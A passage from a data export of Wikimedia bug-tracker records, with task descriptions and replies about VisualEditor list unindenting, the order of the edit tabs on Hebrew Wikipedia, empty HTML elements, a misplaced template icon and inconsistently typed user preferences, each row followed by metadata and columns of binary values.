+> ""Undo"" fixes that instantly, of course.
+
+I wasn't trying to say that it is unfixable. I was just pointing out that the current list behavior means that the way most(?) people might naturally try to correct losing their bulleting/numbering would only compound the error. (""Undo"" fixes almost anything, of course, except frustration and time wasted.)",,,1375754135,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nog34g36rvrxth34pzwz,task_subcomment,,True,c1,3,False,,,5,,0,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+240811,VisualEditor: Unindent should not remove lists,"(In reply to comment #0)
+> The expected behavior in most word processors (Word and OpenOffice) is that
+> the user can unindent (shift-tab) only to get to the initial list indent
+> level but it should not actually delete the bulleting/numbering itself when
+> you to the end. In VisualEditor, unindenting once too many times can remove
+> the initial bullet/number entirely.
+
+This was a deliberate choice, though I can't remember why (it was over a year ago that this was implemented). We should reconsider.
+
+> This becomes particularly annoying when (because of the behavior described in
+> bug 48051) you accidentally split a list into two lists which can't be fixed
+> clicking the list button again to re-add the bullet/number.
+
+""Undo"" fixes that instantly, of course.",,,1375747948,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nog34g36rvrxth34pzwz,task_subcomment,,True,c1,3,True,,,5,,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+54552,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","Users are requesting VE August update (https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/August_2013_update) to be deployed in on hewiki.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**URL**: https://he.wikipedia.org/wiki/%D7%A9%D7%99%D7%97%D7%AA_%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9:%D7%A2%D7%A8%D7%9F#.D7.A9.D7.99.D7.A0.D7.95.D7.99_.D7.91.D7.9E.D7.99.D7.A7.D7.95.D7.9D_.D7.94.D7.A7.D7.99.D7.A9.D7.95.D7.A8_.22.D7.A2.D7.A8.D7.99.D7.9B.D7.94_.D7.91.D7.A7.D7.95.D7.93_.D7.9E.D7.A7.D7.95.D7.A8.22_-_.D7.9B.D7.9E.D7.95_.D7.91.D7.95.D7.95.D7.99.D7.A7.D7.99.D7.A4.D7.93.D7.99.D7.94_.D7.94.D7.90.D7.A0.D7.92.D7.9C.D7.99.D7.AA",Medium,50.0,1375721160,1381515689.0,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,False,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_description,resolved,True,c1,3,False,False,False,5,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+240759,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary",Finally done; sorry for the delay.,,,1381515689,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+240757,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","Change 87645 merged by Reedy:
+Switch VisualEditor to secondary status on hewiki
+
+https://gerrit.wikimedia.org/r/87645",,,1381515513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+240755,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","(In reply to comment #14)
+> Change 87645 had a related patch set uploaded by Jforrester:
+> Switch VisualEditor to secondary status on hewiki
+> 
+> https://gerrit.wikimedia.org/r/87645
+
+Will try to schedule this soon.",,,1380938287,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+240750,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","Change 87645 had a related patch set uploaded by Jforrester:
+Switch VisualEditor to secondary status on hewiki
+
+https://gerrit.wikimedia.org/r/87645",,,1380938237,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+240742,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","(In reply to comment #12)
+> Thanks for adding the welcome message. 
+> 
+> I know there are discussions regarding these changes[1], but the change of
+> the tab order (Edit and Edit source) is important for he wikipedia and Erik
+> isn't totally against it [only ambivalent] :)
+> 
+> [1]
+> http://lists.wikimedia.org/pipermail/wikitech-ambassadors/2013-September/
+> 000419.html
+
+To speak for Erik (:-)), his ambivalence is about changing it *globally*, not about changing it on a given wiki.
+
+There's scope for a lot of concern about changing it for some wikis and not others, and so having a very inconsistent configuration for people that use multiple wikis. I think that it's probably OK to do this, but I really haven't come to ""a decision"". However, it's unfair to hewiki to have you hanging around waiting for me to make up my mind, and I'm sorry about this. :-(
+
+> Since VE is enabled only in the main NS and user NS, for editors who also
+> edit in other namespaces, addition of the VE edit tab ""in the middle"" may
+> cause confusion.
+
+That is certainly one argument. (Though surely it only applies to people with a very narrow window, or the minority who use the Monobook skin? For the others, the VisualEditor tab sits prone in namespaces they can use it in, and otherwise they get the tab they currently have to use until Flow is fully rolled out). But I see your point.
+
+> For consistency the edit source option should be alway the first
+> option [in order], while VE edit should be second.
+
+An alternative argument is that it's right that the first and primary tab is always the one they can use, and there may or may not be a secondary editor tab depending on the nature of the content they're editing.
+
+Of course, we can partially 'fix' this by enabling VisualEditor in all the other namespaces that it's safe for (at the least, File, Portal, Category, Help; not Project, as that's normally signed and so should wait with *_Talk for Flow). Not sure.
+
+In the mean time, I'm happy to move hewiki to [ Edit source | Edit ] for the time being, and would really welcome thoughts on my other points above.",,,1380937661,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,True,,,13,,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,0,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1
+240736,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","Thanks for adding the welcome message. 
+
+I know there are discussions regarding these changes[1], but the change of the tab order (Edit and Edit source) is important for he wikipedia and Erik isn't totally against it [only ambivalent] :)
+
+Since VE is enabled only in the main NS and user NS, for editors who also edit in other namespaces, addition of the VE edit tab ""in the middle"" may cause confusion. For consistency the edit source option should be alway the first option [in order], while VE edit should be second.
+
+----
+[1] http://lists.wikimedia.org/pipermail/wikitech-ambassadors/2013-September/000419.html",,,1380883041,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,13,,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+240729,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","Change 77269 merged by jenkins-bot:
+Enable VisualEditor beta welcome notice for all wikis
+
+https://gerrit.wikimedia.org/r/77269",,,1378927706,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,10,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+240722,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","[Sorry for the delay in responding.]
+
+The beta welcome message is now queued up to go out on all wikis with the next release when available.
+
+We're still not decided on the way forward for the edit source/edit labelling split, so this is delayed until we have a proper answer. Sorry.",,,1378770465,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,True,,,10,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+240716,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","We are now in September so enough time have passed since August change, and the community have voted for deploying the changes. Please let us know when this change is planned for deployment.",,,1378147154,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+240707,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","There is is large support for the change in the village pump. 
+
+https://he.wikipedia.org/w/index.php?title=%D7%95%D7%99%D7%A7%D7%99%D7%A4%D7%93%D7%99%D7%94:%D7%9E%D7%96%D7%A0%D7%95%D7%9F&oldid=14551521#.D7.94.D7.97.D7.9C.D7.A4.D7.AA_.D7.9E.D7.99.D7.A7.D7.95.D7.9D_.D7.94.D7.A7.D7.99.D7.A9.D7.95.D7.A8_.22.D7.A2.D7.A8.D7.99.D7.9B.D7.94_.D7.91.D7.A7.D7.95.D7.93_.D7.9E.D7.A7.D7.95.D7.A8.22_.D7.A2.D7.9D_.D7.9E.D7.99.D7.A7.D7.95.D7.9D_.D7.A7.D7.99.D7.A9.D7.95.D7.A8_.22.D7.A2.D7.A8.D7.99.D7.9B.D7.94.22_-_.D7.9B.D7.9E.D7.95_.D7.91.D7.95.D7.95.D7.99.D7.A7.D7.99.D7.A4.D7.93.D7.99.D7.94_.D7.94.D7.90.D7.A0.D7.92.D7.9C.D7.99.D7.AA",,,1377842346,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+240701,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary",All of these,,,1377020909,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,7,,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+240696,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","Hey,
+
+Which of the bits of the update do you mean?
+
+1. The re-ordered tabs and section edit links, so that the VE tab is second?
+2. Giving a welcome message when you open VisualEditor for the first time?
+3. Adding ""beta"" as a suffix after the VisualEditor tab and section edit link?
+4. Changing ""edit"" to ""edit source"" on non-VisualEditor pages for consistency?
+5. Removing the animation on section edit links?
+
+All of these? Items 4 and 5 are already done.",,,1376948752,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,True,,,7,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+240688,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary",is there any progress with the request?,,,1376848108,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,6,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+240679,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary",Gerrit change 77269 will handle part of this. They were just waiting on translations of the messages before enabling it.,,,1375862146,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+240674,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary",added in the url field.,,,1375792847,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+240666,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","(In reply to comment #0)
+> Users are requesting VE August update
+> (https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/August_2013_update) to
+> be deployed in on hewiki.
+
+Please provide a link to these requests, if possible.",,,1375791382,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+240660,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary",Please mark the targeted milestone when it is known. Thanks,,,1375721827,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+54551,VisualEditor: Empty HTML elements are not identifiable,"Slightly related to bug 51322 
+
+Take the Link FA templates on https://en.wikipedia.org/wiki/The_Adventures_of_Tintin?veaction=edit for instance. 
+
+These produce empty elements, and don't qualify under 'solely metadata' of bug 51322, even though they are somewhat similar to it.
+
+The templates are represented with the char: ↵
+Using the arrow keys to cursor trough this sequence will sometimes produce the template editor indicator. However their is little identifying these templates to the user and due to the interspersed ↵, users think they should be deleted.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1375720020,1393529166.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-bm4l7dozmqtublm7xcao,task_description,resolved,True,c1,3,True,False,False,5,,0,0,0,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0
+240624,VisualEditor: Empty HTML elements are not identifiable,"Merging with bug 49806 (though non-transclusion empty HTML blocks do happen too).
+
+*** This bug has been marked as a duplicate of bug 49806 ***",,,1393529166,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bm4l7dozmqtublm7xcao,task_subcomment,,True,c1,3,True,,,34,,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+240616,VisualEditor: Empty HTML elements are not identifiable,"(In reply to comment #0)
+> The templates are represented with the char: ↵
+
+Actually, that's representing the meaningless wikitext of the newline after the template.",,,1380753594,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bm4l7dozmqtublm7xcao,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1
+54547,"VisualEditor: Floated node's action icon (e.g. for template) appearing in wrong location, relative to its initial position, not its actual position","From http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Quote_box
+
+In the adventures of tintin 
+http://en.wikipedia.org/wiki/The_Adventures_of_Tintin?veaction=edit
+
+the first {{quote box}} has been pushed down by the info box. The transclusion icon for this appears appear where the quote box was initially (just below the History section header on the right hand side) not where it actually appears.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51548",Medium,50.0,1375712940,1519404104.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-g7kzupvlt4lakd72su4u,task_description,resolved,True,c1,3,False,False,False,5,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+1019048,"VisualEditor: Floated node's action icon (e.g. for template) appearing in wrong location, relative to its initial position, not its actual position",Not any more!,,,1519404104,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-g7kzupvlt4lakd72su4u,task_subcomment,,True,c1,3,True,,,242,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+54542,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Just look at my mw.user.options table added below. 1 vs true vs ""1"". I'm in favor of using numbers over booleans here, but why do we have string values for numbers ?
+
+Worse yet, check the inconsistency in Gadgets. Gadgets enabled by default return 1 and gadgets enabled by the user return ""1"".
+
+We should really do a bit of clean up here, and possibly even cleanup the existing values in tables, this makes coding JS against these pages more fragile than needed.
+
+```
+aftv5-last-filter: null
+ccmeonemails: 0
+cols: ""120""
+date: ""mdy""
+diffonly: ""1""
+disablemail: 0
+disablesuggest: 0
+echo-email-format: ""html""
+echo-email-frequency: 0
+echo-notify-show-link: true
+echo-show-alert: true
+echo-subscriptions-email-article-linked: false
+echo-subscriptions-email-edit-thank: false
+echo-subscriptions-email-edit-user-talk: 1
+echo-subscriptions-email-mention: false
+echo-subscriptions-email-other: false
+echo-subscriptions-email-page-review: false
+echo-subscriptions-email-reverted: false
+echo-subscriptions-email-system: true
+echo-subscriptions-web-article-linked: ""1""
+echo-subscriptions-web-edit-thank: true
+echo-subscriptions-web-edit-user-talk: true
+echo-subscriptions-web-mention: true
+echo-subscriptions-web-other: true
+echo-subscriptions-web-page-review: true
+echo-subscriptions-web-reverted: true
+echo-subscriptions-web-system: true
+editfont: ""default""
+editondblclick: 0
+editsection: 1
+editsectiononrightclick: 0
+enotifminoredits: 0
+enotifrevealaddr: 0
+enotifusertalkpages: 1
+enotifwatchlistpages: 0
+ep_bulkdelcourses: true
+ep_bulkdelorgs: false
+ep_showdyk: true
+ep_showtoplink: false
+extendwatchlist: 0
+fancysig: ""1""
+flaggedrevseditdiffs: true
+flaggedrevssimpleui: 1
+flaggedrevsstable: 0
+flaggedrevsviewdiffs: false
+forceeditsummary: ""1""
+gadget-BugStatusUpdate: ""1""
+gadget-DRN-wizard: 1
+gadget-HotCat: ""1""
+gadget-Navigation_popups: ""1""
+gadget-NoAnimations: ""1""
+gadget-PrintOptions: ""1""
+gadget-ReferenceTooltips: 1
+gadget-UTCLiveClock: ""1""
+gadget-addsection-plus: ""1""
+gadget-charinsert: 1
+gadget-contribsrange: ""1""
+gadget-edittop: ""1""
+gadget-exlinks: ""1""
+gadget-metadata: ""1""
+gadget-mySandbox: 1
+gadget-purgetab: ""1""
+gadget-teahouse: 1
+gadget-widensearch: ""1""
+gadget-wikEd: ""1""
+gadget-wikEdDiff: ""1""
+gender: ""male""
+gettingstarted-task-toolbar-show-intro: """"
+hideminor: 0
+hidepatrolled: 0
+imagesize: 2
+justify: 0
+language: ""en""
+math: ""6""
+mfWatchlistFilter: ""all""
+mfWatchlistView: ""feed""
+minordefault: 0
+newpageshidepatrolled: 0
+nocache: 0
+noconvertlink: 0
+norollbackdiff: 0
+numberheadings: 0
+previewonfirst: 0
+previewontop: 1
+rcdays: 7
+rclimit: 50
+rcshowwikidata: ""1""
+rememberpassword: 0
+rows: ""30""
+searchNs0: true
+searchNs1: false
+searchNs2: false
+searchNs3: false
+searchNs4: false
+searchNs5: false
+searchNs6: false
+searchNs7: false
+searchNs8: false
+searchNs9: false
+searchNs10: false
+searchNs11: false
+searchNs12: false
+searchNs13: false
+searchNs14: ""1""
+searchNs15: false
+searchNs100: false
+searchNs101: false
+searchNs108: false
+searchNs109: false
+searchNs446: false
+searchNs447: false
+searchNs710: false
+searchNs711: false
+searchNs828: false
+searchNs829: false
+searchlimit: 20
+showhiddencats: ""1""
+showjumplinks: 1
+shownumberswatching: 1
+showtoc: 1
+showtoolbar: 1
+skin: ""vector""
+stubthreshold: ""2000""
+thumbsize: 4
+timecorrection: ""ZoneInfo|120|Europe/Amsterdam""
+uls-preferences: """"
+underline: 2
+usebetatoolbar: 1
+usebetatoolbar-cgd: 1
+useeditwarning: 1
+uselivepreview: 0
+usenewrc: ""1""
+userjs-curationtoolbar: ""hidden""
+variant: ""en""
+vector-collapsiblenav: 1
+vector-simplesearch: 1
+visualeditor-betatempdisable: 0
+visualeditor-enable: 1
+watchcreations: 1
+watchdefault: 0
+watchdeletion: 0
+watchlistdays: 3
+watchlisthideanons: 0
+watchlisthidebots: 0
+watchlisthideliu: 0
+watchlisthideminor: 0
+watchlisthideown: 0
+watchlisthidepatrolled: 0
+watchmoves: 0
+wikilove-enabled: 1
+wllimit: 250
+wlshowwikibase: ""1""
+```
+--------------------------
+**See Also**:
+{T29471}",Medium,50.0,1375702860,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-yfjwr3je2btidmhmuccx,task_description,open,True,c1,3,True,False,,5,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+1015907,"User preferences are inconsistently stored (bool/int as default, string for overrides)","@Samwilson I'd recommend tracking that as a separate task because it involves explicitly changing the format of a preference key, and none of the array-like use cases you mentioned are subject to normalisation inconsistencies.
+
+This task is about inconsistencies within a single key. Where the same logical value of the same preference key can be int, int-ish string, or boolean, depending on how/if it got normalised, and where it came from (PHP default or MySQL row).",,,1519100508,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,True,,,242,,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
